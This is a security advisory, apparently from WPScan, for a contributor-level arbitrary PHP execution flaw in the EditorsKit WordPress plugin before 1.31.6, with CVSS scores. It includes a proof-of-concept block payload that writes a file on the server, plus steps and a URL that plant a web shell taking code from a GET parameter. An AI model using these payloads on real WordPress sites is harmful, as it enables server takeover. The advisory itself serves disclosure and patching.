Anton SarsadskikhWPEX-ID:BDC36F6A-682D-4D66-B587-92E86085D971EditorsKit < 1.31.6 - Contributor+ Arbitrary PHP Code Execution
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P
The plugin does not sanitise and validate the Conditional Logic of the Custom Visibility settings, allowing users with a role as low contributor to execute Arbitrary PHP code
As a contributor, create/edit a post and put the below code while in Code Editor mode:
<!-- wp:paragraph {"editorskit":{"logic":"file_put_contents('/var/www/hacked.txt', 'hacked')","devices":false,"desktop":true,"tablet":true,"mobile":true,"loggedin":true,"loggedout":true,"acf_visibility":"","acf_field":"","acf_condition":"","acf_value":"","migrated":false,"unit_test":false}} -->\n<p>aa</p>\n<!-- /wp:paragraph -->
Save or Preview the page, which will create the /var/www/hacked.txt file
(WPscanTeam) To create a shell:
- Payload: file_put_contents('/var/www/hacked.php', wp_unslash($_GET['c']))
- View/preview the post and add &c=<?php echo 'failed'; ?> e.g: https://example.com/?p=1079&preview=true&c=%3C?php%20echo%20%27Failed%27;%20?%3E
- Access https://example.com/hacked.php to execute the codeRelated
8.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:S/C:P/I:P/A:P